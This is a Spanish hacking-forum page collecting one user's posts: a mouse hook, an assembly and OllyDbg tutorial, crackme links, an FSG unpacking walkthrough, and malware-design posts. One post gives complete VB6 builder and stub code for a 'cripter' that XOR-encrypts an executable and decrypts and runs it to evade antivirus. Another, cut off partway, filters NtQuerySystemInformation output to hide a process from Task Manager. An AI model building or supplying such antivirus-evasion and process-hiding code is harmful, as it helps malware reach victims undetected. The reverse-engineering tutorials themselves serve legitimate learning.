elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.


  Mostrar Temas
Páginas: [1] 2 3 4 5 6 7 8
1  Sistemas Operativos / Windows / ¿Donde se encuentran las DLL...? en: 24 Octubre 2016, 16:56
Buenas,

Se que al cargarse un ejecutable en el sistema se cargan una serie de DLL por defecto, presupongo que las DLL que se cargan estan indicadas en alguna ruta del registro del sistema.... ¿Cuál es la ruta?

Saludos.
2  Foros Generales / Sugerencias y dudas sobre el Foro / Cambiar nombre de sección en: 29 Mayo 2016, 08:02
En el subforo de "Programacion Visual Basic" se postean continuamente temas que deberían ir en la sección de .NET.

Propongo cambiar de nombre la sección por "Visual Basic 6.0 y anteriores" o bién especificar en la descripción del foro que es para 6.0 e inferiores y no para Visuas Basic .NET.

Saludos.
3  Programación / Ingeniería Inversa / [RETO >:D ] Musical Crackme en: 6 Abril 2016, 09:34
Otro crackme facilito de la web que veniamos hablando.

https://www.sendspace.com/file/blagfx

saludos!!
4  Programación / Ingeniería Inversa / [RETO-CRACKME] Humanoid ASM Keygenme. en: 5 Abril 2016, 09:01
Bueno, aquí un crackme que me descargue de esta página. Necesito un seríal, quien es capaz de desguazarlo?  >:D

Es nivel básico.

Descarga:

https://www.sendspace.com/file/vkl4oy

saludos.
5  Seguridad Informática / Análisis y Diseño de Malware / Hook al ratón. en: 4 Abril 2016, 16:31
Este tema surgió en base a una pregunta de Mester que quería saber la posición del ratón en la pantalla sin hacer mucho uso de la memoria del ordenador. Creo que la forma de que consuma menos recursos es mediante hooks, aquí el ejemplo...

Código
  1. // Hook al Ratón
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <windows.h>
  6.  
  7. LRESULT CALLBACK LowLevelMouseProc(int    nCode, WPARAM wParam, LPARAM lParam)
  8. {
  9.    PMSLLHOOKSTRUCT raton = (PMSLLHOOKSTRUCT)lParam;
  10.  
  11.    system("CLS");
  12.    printf("X:%i\tY:%i\n",raton->pt.x, raton->pt.y);
  13.  
  14.    return CallNextHookEx(NULL, nCode, wParam, lParam);
  15. }
  16.  
  17. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
  18. {
  19. HHOOK MouseHook = SetWindowsHookEx(WH_MOUSE_LL,LowLevelMouseProc,hInstance,0);
  20.  
  21.    MessageBoxA(0,"Si pulsas aceptar acabará el programa",0,0);
  22.    return 0;
  23. }
  24.  

Pueden dar su opinión si piensan que hay una manera mas óptima de hacerlo.

saludos.



Si quieres inutilizar el raton:

Código
  1. LRESULT CALLBACK LowLevelMouseProc(int    nCode, WPARAM wParam, LPARAM lParam)
  2. {
  3.    PMSLLHOOKSTRUCT raton = (PMSLLHOOKSTRUCT)lParam;
  4.  
  5.    if (raton->pt.x != 0 || raton->pt.y != 0);
  6.    {
  7.        SetCursorPos(0,0);
  8.    }
  9.  
  10.    return CallNextHookEx(NULL, nCode, wParam, lParam);
  11. }
6  Seguridad Informática / Análisis y Diseño de Malware / [Tutorial] programando un cripter en VB6. en: 13 Marzo 2016, 09:48
¿Que es un cripter?

Es un malware que hace indetectable un ejecutable.  
Básicamente lo que hace es guardar cifrados los datos del ejecutable detectado, haciendo invisible el archivo para los AV. Una vez que se ejecute el archivo cifrado el programa lo descifra y ejecuta.

Tipos de cripters.

Existen dos tipos:

-Scantime: El programa que queremos proteger al descifrarlo se guarda en disco para ejecutarlo.
-Runtime: el programa que estamos protegiendo se ejecuta en memoria sin guardarlo en el disco.

Funcionamiento del cripter.

Esto puede parecer complejo al principio pero es muy simple. Para que un cripter funcione tenemos que tener dos archivos:

-Builder (o Creador): será  el que se encargara de cifrar el archivo que queremos proteger  y unirlo con el stub.
-Stub: es el ejecutable que descifra el archivo y lo ejecuta, osea el que protege el archivo haciendolo indetectable.

Teniendo claro que tenemos que tener esos dos archivos para que nuestro ejecutable funcione vamos a verlo mas despacio....

Paso 1: el builder lee el archivo que queremos proteger y cifra sus datos.
Paso 2: El builder lee el stub y coge sus datos
Paso 3: El builder genera un archivo exe con la siguiente estructura...
    STUB + "MARCA" + DATOS CIFRADOS
la "MARCA" sera lo que nos indique el final del stub y donde empiezan los datos que hay que descifrar y ejecutar.
Paso 4: Una vez que tenemos generado nuestro archivo protegido el stub se ejecuta, se lee a si mismo,  busca la "MARCA" y todos los datos que hay a partir de ahi los descifra y  los ejecuta.

Programando la teoría.

Primero programaremos el builder, el builder es generico, osea sirve para un cripter scantime o runtime, vemos el código comentado...


Código
  1. Option Explicit
  2.  
  3. Private Sub AbrirArchivo_Click() ' Boton con el que seleccionaremos el archivo ejecutable
  4.    With CD ' Objeto CommonDialog
  5.        .Filter = "Archivos ejecutables |*.exe" ' Le decimos que solo puedan seleccionar archivos ejecutables
  6.        .ShowOpen
  7.        Text1.Text = .FileName ' Guardamos el ejecutable que selecciono en el textbox1
  8.    End With
  9. End Sub
  10.  
  11. Private Sub Cifrar_Click() ' Boton que cifra y genera el archivo
  12.    Dim Datos As String
  13.    Dim DatosCifrados As String
  14.    Dim Stub As String
  15.  
  16.    Open Text1.Text For Binary As #1 ' Leemos el archivo que queremos cifrar
  17.        Datos = Space(LOF(1))
  18.        Get #1, , Datos
  19.    Close #1
  20.  
  21.    DatosCifrados = CifrarDatos(Datos) ' Ciframos los datos
  22.  
  23.    Open App.Path & "\Stub.exe" For Binary As #2 ' Leemos el stub
  24.        Stub = Space(LOF(2))
  25.        Get #2, , Stub
  26.    Close #2
  27.  
  28.    Open App.Path & "\Generado.exe" For Binary As #3 ' generamos el ejecutable final cifrado:
  29.        Put #3, , Stub ' Escribimos el stub
  30.        Put #3, , "FORO.ELHACKER.NET" ' Escribimos nuestra "MARCA"
  31.        Put #3, , DatosCifrados ' Escribimos los datos cifrados
  32.    Close #3
  33.  
  34.    MsgBox "Archivo cifrado" ' Terminamos de cifrar
  35. End Sub
  36.  
  37. Public Function CifrarDatos(Datos As String) As String ' Funcion que cifra los datos
  38.    Dim i As Integer
  39.    Dim Buffer As String
  40.  
  41.    For i = 1 To Len(Datos)
  42.        Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
  43.    Next i
  44.  
  45.    CifrarDatos = Buffer
  46. End Function

Ahora el stub (de un cripter scantime).

Código
  1. Option Explicit
  2. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  3.  
  4. Private Sub Form_Load()
  5.   Dim Misdatos As String
  6.   Dim cifrados As String
  7.   Dim Descifrados As String
  8.  
  9.   Open App.Path & "\Generado.exe" For Binary As #1 ' Nos leemos a nostros mismos
  10.       Misdatos = Space(LOF(1))
  11.       Get #1, , Misdatos
  12.   Close #1
  13.  
  14.   cifrados = Split(Misdatos, "FORO.ELHACKER.NET")(1) ' Obtenemos lo que hay a partis de la marca
  15.  
  16.   Descifrados = CifrarDatos(cifrados) ' Desciframos el ejecutable que teniamos guardados
  17.  
  18.   Open App.Path & "\Descifrado.exe" For Binary As #1 ' Generamos el ejecutable
  19.       Put #1, , Descifrados  ' NOTA: Normalmente se extrae el archivo en otra ruta, no en la ruta donde esta el ejecutbale cifrado.
  20.   Close #1
  21.  
  22.   Call ShellExecute(Me.hwnd, "Open", App.Path & "\Descifrado.exe", "", "", 1) ' Ejecutamos el ejecutable
  23. End Sub
  24.  
  25. Public Function CifrarDatos(Datos As String) As String ' Funcion que descifra los datos
  26.    Dim i As Integer
  27.    Dim Buffer As String
  28.  
  29.    For i = 1 To Len(Datos)
  30.        Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
  31.    Next i
  32.  
  33.    CifrarDatos = Buffer
  34. End Function
  35.  

Bién, ya tenemos programado nuestro primer cripter  ;-)



Ahora para hacerlo RunTime (Que son los que se usan normalmente) lo que tenemos que hacer es crear un RunPE, pero esto no se tratará en este tutorial. Para poder entender su funcionamiento podeis leer sobre el formato PE, aquí un tema con información al respecto:

http://foro.elhacker.net/analisis_y_diseno_de_malware/formato_pe-t446963.0.html

Espero que haya servido como guia a los que no tenian idea de como hacerlo, ahora tengan una base.

saludos.
7  Foros Generales / Foro Libre / El flamenco y Jerez. en: 27 Febrero 2016, 13:21
Jerez, esta localidad donde se dice que se invento la bulería, ha dado fenomenos como estos:

















Sin duda alguna, En Jerez es donde más artistas flamnecos salen de españa y con diferencia.

Hay mas pero sería largo exponer a todos  :P



saludos.

8  Seguridad Informática / Análisis y Diseño de Malware / [TALLER] Aprende ASM y a depurar tu programa. en: 18 Febrero 2016, 20:51
Uno de los grandes problemas que tuve al aprender ASM fue que yo venia de un lenguaje de alto nivel, debido a esto tuve muchos problemas para aprender a programar en este lenguaje, ya que para depurarlo no me servia un típico Msgbox. Por eso y por que hay una serie de usuarios que se quieren iniciar en este maravilloso lenguaje me he animado a ir escribiendo esto, con el fin de que puedan tener una base para realizar sus programas.

Este texto trabajará sobre Windows y para aplicaciones de 32 bits. También decir que se utilizará Flat Assembler, que es Open Source y gratuito, puedes obtener su ultima versión aquí:

http://flatassembler.net/download.php

Dicho esto, comencemos.

VARIABLES Y REGISTROS.

En ensamblador no existen las variables de tipo int, long, string y etc. Las variables pueden ser DWORD (4 bytes), WORD (2 bytes) o BYTE (1 byte).

Una variable de tipo DWORD se declara así:

Código
  1. mivariable dd 0

Donde mivariable es el nombre que le damos a la variable, con el dd de indicamos que es un DWORD y el 0 indica que le damos como valor inicial un valor nulo, osea, cero.

La declaración para un WORD:

Código
  1. mivariable dw 0

y para el BYTE:
Código
  1. mivariable db 10

Con el 10 le indicamos que es una variable con tamaño de 10 bytes.

Luego estan los registros del microprocesador, que són los siguientes:

- EAX
- EBX
- ECX
- EDX


Los registros tienen un tamaño de 4 bytes ya que estamos programando para 32 bits.

Los podrémos usar como punteros o para almacenas información (que no supere los 4 bytes).

Estos 4 registros son de uso general, es decir son los guerreros a pie de nuestro programa. Con ellos podremos mover información de unas variables a otras, recibir el retorno de las funciones del sistema o  realizar operaciónes como multiplicar o dividir.

Además de esos 4 registros también tenemos los registros EDI y ESI. Estos registros los podemos usar también como los anteriores, aunque su propósito es otro. Normalmente complementan algunas intrucciones. También se verá mas adelante su utilidad.

Los registros EBP y  ESP son los que indican la parte baja y la parte alta de la pila, que se explicará a continuación.

Y por último el registro EIP,  este es el que indica la posición en memoria de la instrucción que se esta ejecutando. Cuando depuremos nuestra aplicación mas adelante veremos su uso.

Como aclaración decir que todos los registros tienen una capacidad de 4 bytes.

LA PILA

La pila es una "estructura", en la que almaceramos información para pasarle argumentos a nuestras funciones. Para que lo entendaís mejor, si yo quiero llamar a la API MessageBoxA lo que haré será meter sus 4 parametros en la pila y entonces llamar a la función.

La pila tiene una base, que la indica el registro EBP y una parte alta, que la indica el registro ESP.

Cada vez que introducimos un valor en la pila el registro ESP decrementa en 4. Este registro tiene que estar siempre estable ya que si no es así nuestra aplicación estallará.

Aquí entran en juego las convenciones de llamada. Esta el tipo stdcall, que es el que usa Windows y el cdecl, que lo usan algunas librerías como las de C.

En el caso de que la llamada sea de tipo stdcall NO tenemos que restaurar el registro ESP, ya que lo hace la propia función, sin embargo si es cdecl, si la tendremos que restaurar. Un ejemplo es si a la función printf de C de pasamos dos argumentos, tendremos que sumar al registro ESP 8 bytes, ya que cada argumento ocupa 4 bytes.

Y bueno, sobre este tema decir poco más, creo que es suficiente para entender el concepto.

EL JUEGO DE INSTRUCCIONES.


MOV Mueve datos entre variables y registros, unos ejemplos de su uso:
Código
  1. mov eax, edx ; Mueve el contenido del registro EDX al registro EAX
  2. mov [mivariable], eax ; mueve el contenido de EAX a la variable "mivariable"
  3.  

No se permiten mover datos entre variables, con lo cual

Código
  1. mov [mivariable], [otravariable]

no es valido, para hacer eso tendríamos que mover el valor de "otravariable" a un registro y luego mover el registro a "mivariable".

NOTA: con el caracter ";" se ponen comentarios en el código
NOTA 2: los corchetes [] indican que lo que queremos es acceder al valor de la variable, no al puntero.

ADD con esta intruccion se realizan operaciones de suma, ejemplos de uso:
Código
  1. add eax, 10 ; se suma al valor que contenga EAX 10.
  2. add [mivariable], 5; se le suma al valor de la variable 10

Código
  1. SUB
al igual que ADD suma, SUB resta, su uso es igual.

INC incrementa el valor de la variable o registro en 1, ejemplos:

Código
  1. inc eax ; incrementa el valor de EAX en 1
  2. inc [mivariable] ; incrementa el valor de mivariable en 1

DEC decrementa el valor, su uso es similar a inc.

MUL instrucción para multiplicar,  esta instrución funciona de la siguiente manera:

Código
  1. mov [mivariable], 2
  2. mov eax, 2
  3. mul [mivariable] ; Multiplica 2*2.
  4. ; resultado en el registro EAX y EDX

NOTA: el registro EDX debe valer 0 a la hora de multiplicar.

DIV instrucción que se usa para dividir, funciona de la sigueinte manera:

Código
  1. mov [var], 2
  2. mov eax, 10
  3. div [var]
  4. ; EAX = resultado
  5. ; EDX = residuo
  6.  

EDX tiene que valer  0 antes de realizar la operación.

push introduce un valor en la pila.

Código
  1. push eax
  2. push [mivar]

pop saca un valor de la pila.

pop eax ; el valor que contenia la pila ahora lo tiene EAX
pop [mivar] ; el valor que contenia la pila ahora lo tiene mivar

jmp salto hacia una parte del código, ejemplo:

Código
  1. mov eax, 1
  2. jmp Etiqueta ; saltamos
  3. mov eax, 2 ; esto no se ejecuta
  4. Etiqueta:
  5. ; EAX = 1

ret retorna una función, como return en C.

Código
  1. ...
  2. ...
  3. add esp, 12
  4. ret

cmp esta instrucción compara dos valores es el if del ASM, para usarla se necesitan otras intrucciones complementarias, estas son algunas:

je salta a a una etiqueta si los valores son iguales
jne salta a una etiqueta si los valores NO son iguales

Entre otras, que podemos ver aquí:

Código:
http://www.jegerlehner.ch/intel/IntelCodeTable.pdf


Ejemplo de uso:

Código
  1. cmp eax, edx
  2. je Iguales
  3. mov eax,0
  4. ret
  5. Iguales:
  6. mov eax,1
  7. ret

Si los valores son iguales devolvera 1, si no, devolvera 0.

xor realiza un xor, como en cualquier otro lenguaje, ejemplo.

Código
  1. xor eax, edx

el resultado de la operación se guarda en el primer parametro de la instrucción, en este caso EAX

and operación aritmética, ej:

Código
  1. and ebx, ecx

El resultado se obtiene tambien en el primer parametro, en este caso EBX

or operación aritmética, se usa igual que las dos anteriores.


ESTRUCTURA DEL CÓDIGO.

Una vez explicadas las intrucciones básicas vamos a explicar la estructura de los códigos en FASM.

Dejar claro que en ASM no es recomendable, no se puede (se puede pero no se debé) mezclar las variables con el código. La estructura es extrícta. Para generar un ejecutable podemos usar las siguientes estructuras:

Código
  1. include 'win32ax.inc'
  2.  
  3. .data
  4.        ; AQUI VAN LAS VARIABLES
  5. .code
  6. start:
  7.  
  8.        ; AQUI EL CODIGO
  9.  
  10.        ; AL FINALIZAR EL CODIGO PODEMOS DECLARAR MAS VARIABLES.
  11.  
  12. .end start    

Ó de esta otra forma:

Código
  1. include 'win32ax.inc'
  2. entry start
  3.  
  4.  
  5. section '.data' readable writeable
  6.        ; AQUI VAN LAS VARIABLES
  7.  
  8. section '.code' executable readable writeable
  9. start:
  10.        ; AQUI EL CODIGO
  11.  
  12.        ; AL FINALIZAR EL CODIGO PODEMOS DECLARAR MAS VARIABLES.
  13.  
  14. section '.idata' import data readable writeable
  15.  
  16.        ; AQUI VAN LAS IMPORTACIONES DE LAS FUNCIONES QUE VAMOS A USAR.    

Un ejemplo de un programa que muestra un mensaje con MessageBoxA.

Código
  1. include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
  2. entry start
  3.  
  4.  
  5. section '.data' readable writeable ; sección de datos
  6.        Mensaje          db 'Hola dese FASM!',0  ; debemos poner el byte nulo '0', para que sea una cadena.
  7.  
  8. section '.code' executable readable writeable ; sección de codigo
  9. start:
  10.  
  11.        push 0   ; metemos el último parametro de la api
  12.        push Titulo ; metemos el 3 parametro
  13.        push Mensaje ; metemos el 2 parametro
  14.        push 0        ; metemos el 1 parametro
  15.        call [MessageBoxA]  ; llamamos a la API.
  16.  
  17.        ret ; retornamos la funcion. Se acbaa el programa.
  18.  
  19.        Titulo          db 'ElHacker.net',0
  20. section '.idata' import data readable writeable ; tabla de importaciones
  21.  
  22.        library USER32, 'USER32.DLL'  ; librería donde se encuentra la API
  23.  
  24.  
  25.        import USER32,\
  26.               MessageBoxA, 'MessageBoxA' ; Función que vamos a usar              

Resultado:



Como podemos observar, para llamar a una función hay que introducir los parametros en la pila, estos parametros deben ir al revez, ya que la pila en una estructura de tipo LIFO.
Código:
https://es.wikipedia.org/wiki/Last_in,_first_out


Ahora imaginemonos que queremos realizar una suma y mostrar el resultado en el mensaje.

Tenemos estad dos variables:

Código
  1. Num1    dd 2
  2. Num2    dd 3

Lo mas fácil es hacer esto:

Código
  1. mov eax, [Num1]
  2. add eax, [Num2]
  3.  
  4. push 0
  5. push 0
  6. push eax
  7. push 0
  8. call [MessageBoxA]

Sin embargo, si probamos vamos a ver que no funciona... esto se debe a que un número no es lo mismo que una cadena. En lenguajes de de alto nivel si que funcionaría, porque el compilador/interprete realiza este paso por tí.

Para poder imprimirlo deberíamos de pasarlo a cadena, bién con una funcion que implementemos nosotros ó usando algúna del sistema como por ejemplo wsprintfA.

Bueno, esto es solo un apunte puntual, sigamos...

CONOCIENDO MEJOR LOS REGISTROS: BYTES, WORD  y DWORD.

Cuando explique los registros no lo dije, pero los registros de proposito general se pueden descomponer a su vez en registros de menor tamaño.

Ya sabemos que al programar para 32 bits los registros ocupan 4 bytes, pero también podemos usar los registros de 16 y 8 bits...

Por ejemplo, el registro EAX   es la extension de AX, que es el registro de 16 bits y este otro se divide a su vez en dos registros de 1 byte, AH (que esta en la parte alta) y AL (que esta en la parte baja)




Además podemos acceder a cualquier byte, word o dword de la siguiente forma:

Para obtener un byte de una variable o registro:

Código
  1. ; Suponiendo que en la variable buffer tenemos la cadena 'hola'
  2.  
  3. mov al, byte[buffer]  ; AL = 'h'
  4. mov ah, byte[buffer+1] ; AH = 'o'
  5.  
  6. mov al, byte[ecx] ; mueve el byte al que apunta ECX a AL.
  7.  

Lo mismo pasa con los WORD:

Código
  1. mov DX, word[buffer]

Y los DWORD:

Código
  1. mov eax, DWORD[buffer]
  2. mov eax, [buffer] ; esto es igual a la linea anterior

BUCLES y IF.

En ASM, no existen bucles for, while ni nada por el estilo, los bucles se hacen con contadores.

Por ejemplo un bucle infinito sería esto:

Código
  1. Bucle:
  2. push 0 ; estamos dentro del bucle.
  3. push 0
  4. push 0
  5. push 0
  6. call [MessageBoxA]
  7. jmp Bucle ; saltamos a la etiqueta bucle de nuevo.

Para intentar hacer un bucle for que se ejecuta 5 veces tendríamos que hacer esto:

Código
  1. include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
  2.  
  3. .data
  4.        var     dd 5
  5.        Texto   db 'Esto se mostrara 5 veces.',0
  6. .code
  7. start:
  8.        mov ecx, [var] ; movemos el valor de la variable a ECX
  9.  
  10.        Bucle:
  11.                push ecx  ; guardamos el valor de ECX
  12.  
  13.                push 0
  14.                push 0
  15.                push Texto
  16.                push 0
  17.                call [MessageBoxA] ; llamamos a la API
  18.  
  19.                pop ecx ; Recuperamos el valor de ECX
  20.  
  21.                dec ecx ; decrementamos el valor de ECX
  22.                cmp ecx, 0 ; Comparamos ECX con 0
  23.                jne Bucle ; Si la comparación no es igual saltamos de nuevo a la etiqueta bucle
  24.        ret ; retornamos la funcion y terminamos el programa.
  25. .end start                          


Pero... Porque guardamos el registro ECX antes de llamar a la API?

Resputa: Nomalmente TODAS las funciones de windows devuelven su valor en el registro EAX y solo modifican este registro despues de llamar a la función, pero en este caso la API MessageBoxA también modifica ECX, con lo cual en ECX ya no tendríamos nuestro contador  :-\ por eso el push y pop con ECX, para guardar su valor y despues recuperarlo intacto.

Para hacer un IF en ASM tendríamos que usar la intrucción CMP, ya se ha mostrado su uso.

FUNCIONES

Para crear una función tenemos que recordar que los parametros se pasan a traves de la pila.

Lo primero para escribir el código de nuestra función es escribir una etiqueta y usar los registros ESP y EBP para acceder  los parametros que hemos introducido anteriormente en la pila.

Ej:

Código
  1. include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
  2.  
  3. .data
  4.        var     dd 5
  5.        Texto   db 'Este mensaje se ejecuta desde la funcion',0
  6.        Titulo  db 'ElHacker.net',0
  7. .code
  8. start:
  9.  
  10.        push Texto
  11.        push Titulo
  12.        call Mensaje
  13.  
  14.        ret
  15.  
  16.        Mensaje: ; Funcion mensage.
  17.            push ebp ; Guardamos la base de la pila
  18.            mov ebp, esp ; movemos la parte alta de la pila a la parte baja.
  19.  
  20.            mov eax, dword[ebp+8] ; movemos el primer parametro a EAX
  21.            mov ebx, dword[ebp+12] ; segundo parametro a EBX
  22.  
  23.            push 0 ; introducimos los parametros d ela API
  24.            push eax
  25.            push ebx
  26.            push 0
  27.            call [MessageBoxA] ; llamamos a la API
  28.  
  29.            pop ebp ; restauramos el valor de EBP
  30.            add esp,12 ; se restaura el registro para que no se rompa la pila
  31.            ret
  32.  
  33. .end start          

Para entender mejor el código antes de nada diré que la intrucción CALL lo que hace es introducir el valor de retorno en la pila, osea la siguiente intrucción del call para que luego el SO sepa a donde debé saltar al retornar la función.

Debido a esto para restaurar la pila hay que sumar 12 y no 8.

Código
  1. add esp,12

Ya que son 2 parametros: 2 x 4 bytes que ocupan los punteros = 8
8 + 4 del valor de retorno cuando acabe la API = 12.

Si pasaramos 4 parametros seria 4 x 4 = 16
16 + el retorno = 20, tendriamos que sumar 20 a ESP.

Código
  1. mov eax, dword[ebp+8] ; movemos el primer parametro a EAX
  2. mov ebx, dword[ebp+12] ; segundo parametro a EBX

Aquí, ocurre lo mismo por la dirección de retorno, el primer parametro se encuentra a la posicion 8 el segundo en la 12 y si metieramos mas parametros se encontrarián sumando de 4 en 4 osea:

dword[ebp+16] ; tercer parametro
dword[ebp+20] ; cuarto parametro
....
....

En fin, así funciona la cosa de las funciones, cualquier duda preguntar.


OllyDbg y la depuración de nuestro programa.


La aplicación la podemos descargar gratuitamente desde aquí:

http://www.ollydbg.de/download.htm

Una vez descargada la ejecutamos y vamos a File > Open y abrimos cualquier ejecutable.
Una vez hecho esto el Olly nos deja situados en el EntryPoint del programa es decir, la primera instrucción que se ejecuta del programa.



La utilización de esta herramienta para depuración es simple porque nosotros conocemos como esta programado nuestro ejecutable pero para depurar programas que no hemos creado nosotros puede resultas lioso y complicado, no obstante como nosotros solo queremos depurar y ver como funciona no nos resultará complicado.

Ahora bién, veamos sus partes:

En el punto 1: Vemos las instrucciónes del programa, los opcodes de la instrucción y la dirección en memoria, ejemplo:

Código:
0040102A  |. 09C0           OR EAX,EAX

0040102A  -> Es la posición en memoria.
09C0  -> Opcodes de la instrucción
OR EAX,EAX -> instrucción

Punto 2:  vemos los valores de los registros. Los valores del registro iran cambiando conforme vamos ejecutando instrucciones (siempre y cuando la instrucción modifique algun registro, si no se quedan como estaban)

Punto 3: El ejecutable dumpeado.
Punto 4: La pila, en el veremos los datos que se introducen en la pila y el valo rque contiene.

AHora bién veremos como se maneja el programa, para ello vamos a ensamblar un ejemplo que pusimos anteriormente:

Código
  1. include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
  2.  
  3. .data
  4.        var     dd 5
  5.        Texto   db 'Esto se mostrara 5 veces.',0
  6. .code
  7. start:
  8.        mov ecx, [var] ; movemos el valor de la variable a ECX
  9.  
  10.        Bucle:
  11.                push ecx  ; guardamos el valor de ECX
  12.  
  13.                push 0
  14.                push 0
  15.                push Texto
  16.                push 0
  17.                call [MessageBoxA] ; llamamos a la API
  18.  
  19.                pop ecx ; Recuperamos el valor de ECX
  20.  
  21.                dec ecx ; decrementamos el valor de ECX
  22.                cmp ecx, 0 ; Comparamos ECX con 0
  23.                jne Bucle ; Si la comparación no es igual saltamos de nuevo a la etiqueta bucle
  24.        ret ; retornamos la funcion y terminamos el programa.
  25. .end start

Lo ensamblamos y lo cargamos en el olly. Como es un programa pequeñito vamos a ver poca cosa  :xD, el ASM que vemos es este:



Bién, ahora vamos a ver como depurarlo:

-Si pulsamos F9, nuestro programa correra fluidamente, es decir, como si lo estuvieramos ejecutando.
-Si pulsamos F8 vamos a ejecutar una sola instrucción.
- Si pulsamos F7 se va a ejecutar una intruccion como en F8 pero con la diferencia de que si lo pulsamos sobre una instrucción CALL entraremos en la función (con F8 esto no sucede).
-Si pulsamos F2 pondremos un BreakPoint en la instruccion que tenemos selecionada. Es decir, si ponemos un BP y pulsamos F9 el programa se ejecutara hasta llegar a la instrucción a la que le pusimos en BP (BreackPoint).

Para comprobar el funcionamiento podemos ir probando por ejemplo si ponemos un BP en esta linea:

Código
  1. 0040201D  |.^75 E7          \JNZ SHORT Tutorial.00402006

Y pulsamos F9, el programa se nos parara ahí, si lo volvemos a pulsar se nos volvera a parar, así hasta 5 veces, que son las veces que se ejecuta esa instrucción ( recordemos que es un bucle).

Vamos a probar mas cosas. En el programa vemos que guardamos ECX, pero... porque?

Bien si quitamos el push ecx y pop ecx del programa lo ensamblamos y abrimos con Olly lo vamos a ver:



Tenemos eso en el Olly y ahora vamos a ir ejecutando instrucción a instrucción pulsando F8. Pulsamos F8 hasta llegar a la llamada a MessageBox, aquí:

Código
  1. 00402011  |. FF15 3C304000  |CALL DWORD PTR DS:[<&USER32.MessageBoxA>; \MessageBoxA
  2.  

Entonces miramos el valor del registro ECX:



Si pulsamos una vez mas F8  vamos a ver que el valor de ECX cambia  :laugh: y el bucle se va a romper... el programa estallara, por eso lo de guardar el valor de ECX.
Con esto quería mostrar que a veces las llamadas a las API pueden modificar los registros y nos pueden volver loco buscando el error si no andamos con cuidado.

En fin, con este poquito que hemos visto de OllyDbg podemos depurar nuestro programa, Si quereis indagar mas sobre este Software teneis miles de tutoriales en la web de Ricardo Narvaja:

www.ricardonarvaja

Creo que con esto acabo de tutorial de momento ya que creo que se puede tener una visión general de lo que va el tema.

un saludo y espero que ha alguien le haya ayudado!  :)

9  Programación / Ingeniería Inversa / [Tutorial] Desempacando FSG 2.0 en: 12 Febrero 2016, 02:03
Mirando crackmes para practicar aquí me tope con uno que estaba empacado con este packer (FSG 2.0). Me puse a buscar por internet y no vi ningún tuto en español, excepto uno de +NCR de CracksLatinos, asique me decidi seguirlo y probar a desempacarlo.

El crackme en cuestion es CrackMe#1 (Lucky) de KLiZMA, lo podeis buscar en la web antes citada.

Para desempacarlo vamos a necesitar el plugin OllyDump, que podemos obtener desde aquí.

Bueno, una vez hecho esto lo abrimos con RDG Packer y vemos que efectivamente, esta empacado  :xD



Lo abrimos con OllyDbg y vamos a ver algo así.



Ahora vamos a buscar el verdaero OEP, para ello vamos a Plugins > OllyDump > Find OEP by section hop (Trace Over).

Y caemos aquí



Ahora clic derecho > Analisis > Remove Analisis from this module. Y ahí vemos  el verdadero OEP.



Ahora, vamos a guardar los cambios, para ello vamos a Plugins > OllyDump > Dump Debugger Process. Le damos al botón Dump y guardamos el ejecutable desempacado.

Ahora nos surge otro problema, por lo menos en Windows 7 de 64 bits y es qeu al intentar ejecutarlo, nuestro ejecutable no funciona  :¬¬



Para que funcione tendremos que hacer clic derecho sobre el ejecutable y darle a solucionar opciones de compatibilidad. Seguir el asistente y dejarlo con la configuración que nos recomienda el SO.

Y bueno, ahora si nos deja ejecutarlo correctamente.



Bueno, pues eso ha sido todo. No es un gran cosa pero en determinados casos te puede sacar de un "apuro".  

Espero que a alguien le sirva.

saludos.
10  Seguridad Informática / Análisis y Diseño de Malware / [FILTRO] Ocultando procesos a NtQuerySystemInformacion en: 6 Febrero 2016, 08:03
No es el código completo, ya que sería todo demasiado masticado  :xD peeero, lo que queda de implementar (el hook a la api) se puede hacer fácilmente siguiendo mi tutorial sobre ello.

Esto es solo un ejemplo de cómo sería el filtro para ocultar procesos a dicha API (la que usa el admin de tareas para listar los procesos)  >:D

Si abrimos  la calculadora de windows (calc.exe) y descomentamos las línea de código vamos a ver como va mostrando todos los procesos menos el que ocultamos nosotros (con el while anterior).

En fin, aquí esta el código.

Código
  1. // Filtro procesos a la API NtQuerySystemInformation
  2. // Juan fary.
  3. // MVSC++ 2008
  4.  
  5. #include <windows.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8.  
  9. typedef struct _SYSTEM_PROCESS_INFORMATION
  10. {
  11.    DWORD NextEntryOffset;
  12. char fary1[56];
  13.    DWORD ImageName;
  14. DWORD fary2;
  15.    LONG BasePriority;
  16.    PVOID UniqueProcessId;
  17. } SYSTEM_PROCESS_INFORMATION;
  18.  
  19. typedef DWORD (WINAPI * _SystemProcessInformation)(DWORD, void*, unsigned long, unsigned long*);
  20.  
  21. int main()
  22. {
  23. _SYSTEM_PROCESS_INFORMATION * spi;
  24. DWORD ret;
  25. char proceso[18] = "c\0a\0l\0c\0.\0e\0x\0e\0\0"; // "calc.exe" en unicode proceso que no se mostrará
  26.  
  27. _SystemProcessInformation __SystemProcessInformation = (_SystemProcessInformation)GetProcAddress(LoadLibraryA("NTDLL.DLL"), "NtQuerySystemInformation");
  28.  
  29. void * buffer = VirtualAlloc(NULL, 1024*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
  30.  
  31. spi = (_SYSTEM_PROCESS_INFORMATION *)buffer;
  32.  
  33. ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);
  34.  
  35.  
  36. //_SYSTEM_PROCESS_INFORMATION * Intacta = spi; // Para comprobar que el hook funciono.
  37.  
  38.  
  39. while(spi->NextEntryOffset) // Filtro para saltar el proceso que nosotros queramos.
